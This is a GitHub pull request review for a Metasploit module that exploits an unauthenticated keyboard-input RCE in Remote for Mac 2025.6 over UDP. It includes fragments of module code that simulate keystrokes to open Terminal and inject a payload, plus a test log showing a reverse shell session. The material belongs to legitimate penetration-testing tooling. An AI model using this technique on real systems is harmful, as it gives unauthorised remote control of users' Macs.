Skip to content

Conversation

blue0x1
Copy link
Contributor

@blue0x1 blue0x1 commented May 29, 2025

Remote for Mac 2025.6 UDP Keyboard Input RCE Module

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. The vulnerability allows attackers to send crafted UDP packets that simulate keyboard input, bypassing authentication when the "Allow unknown devices" feature is enabled.

The module sends a sequence of UDP packets to open the Terminal app and then injects a payload command to execute arbitrary code on the target system. The target UDP port must be specified in the RPORT option, as it may vary depending on the target’s configuration.

Successful exploitation results in full remote code execution under the privileges of the Remote for Mac application, potentially leading to full system compromise.

Notes:

The vulnerability is only exploitable if authentication is disabled and "Allow unknown devices" is enabled.

The UDP port should be confirmed for each target environment.

Reverse shell payloads are supported, facilitating remote control.

References:
https://packetstorm.news/files/id/196351/

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind adding docs here as well?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Isn't this file part of this PR? I don't think this should be here, unless you want to submit both modules together - in that case, the best approach would be to close the previous PR and add documentation to this PR as well.


register_options(
[
Opt::RHOSTS(),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is this empty? I don't think this has to be here.

[
Opt::RHOSTS(),
Opt::RPORT(49229),
OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SSL is already registered options afaik

Comment on lines 52 to 53
protocol = datastore['SSL'] ? 'https' : 'http'
vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The send_request_cgi has already in its options SSL, so no need to specify it like this.

Comment on lines 60 to 62
'ssl' => datastore['SSL'],
'rport' => datastore['RPORT'],
'rhost' => datastore['RHOSTS']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure if this should be here

Comment on lines 66 to 81
json = JSON.parse(res.body)
if json['requires.auth'] == false
print_good('Authentication is disabled. Target is vulnerable.')
return true
else
print_error('Authentication is enabled. Exploit aborted.')
return false
end
else
print_error('Unexpected response from target')
return false
end
rescue ::Rex::ConnectionError, JSON::ParserError => e
print_error("Connection or parsing error: #{e.message}")
return false
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using res.get_json_document would simplify greatly the logic of this part

Comment on lines 89 to 90
udp_port = datastore['RPORT']
target_ip = datastore['RHOSTS']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you sending the UDP request to the same host/port as for TCP HTTP request?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes it’s the same port

Comment on lines 105 to 98
udp_sock = UDPSocket.new
udp_sock.connect(target_ip, udp_port)

print_status('Simulating system keyboard input to open Terminal...')
initial_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.05)
end

prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
'terminal'.each_char do |ch|
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
udp_sock.send(pkt, 0)
select(nil, nil, nil, 0.1)
end

final_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.1)
end
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 May 30, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use include Msf::Exploit::Remote::Udp to simplify some of this

Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@msutovsky-r7 msutovsky-r7 changed the title Exploit/osx/misc/remote for mac udp rce Adds UDP Keyboard RCE for Remote for Mac 2025.6 May 30, 2025
@msutovsky-r7
Copy link
Contributor

Hi @blue0x1 , just checking in! If you need help with requested changes for this PR, let me know.

@msutovsky-r7
Copy link
Contributor

msf6 exploit(osx/misc/remote_for_mac) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.140:4444 
[*] Checking authentication on https://192.168.168.175:49158/api/getVersion
[+] Authentication is disabled. Target is vulnerable.
[*] Simulating system keyboard input to open Terminal...
[*] Sending malicious payload to be executed...
[+] Payload sent. Awaiting session...
[*] Command shell session 1 opened (192.168.168.140:4444 -> 192.168.168.175:49161) at 2025-06-11 04:23:20 -0400

i
zsh: command not found: i
id
uid=501(ms) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
whoami
ms

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think this has to be here.

Comment on lines 108 to 95
'X-ClientToken' => '1337',
'X-HostName' => 'iFruit',
'X-HostFullModel' => 'iFruit19,2',
'X-Script' => applescript,
'X-ScriptName' => 'exploit',
'X-ScriptDelay' => '0'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can any of these except X-Script be randomized?

@msutovsky-r7
Copy link
Contributor

Hey @blue0x1 , there's still some issues pending with your PR, namely missing docs and leftover file. I'm just checking in to see if you would need any help with moving forward this PR.

@msutovsky-r7 msutovsky-r7 force-pushed the exploit/osx/misc/remote_for_mac_udp_rce branch from 0197ea2 to 6c65db5 Compare August 28, 2025 07:00
@msutovsky-r7 msutovsky-r7 added docs rn-modules release notes for new or majorly enhanced modules and removed needs-docs labels Aug 28, 2025
@msutovsky-r7 msutovsky-r7 merged commit c5e5cb8 into rapid7:master Aug 28, 2025
19 checks passed
@msutovsky-r7
Copy link
Contributor

Release Notes

This adds an exploit module for UDP keyboard misconfiguration in Remote For Mac, up to version 2025.7. The module will send a sequence of UDP packets to Remote For Mac, which will interpret them as keyboard strokes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants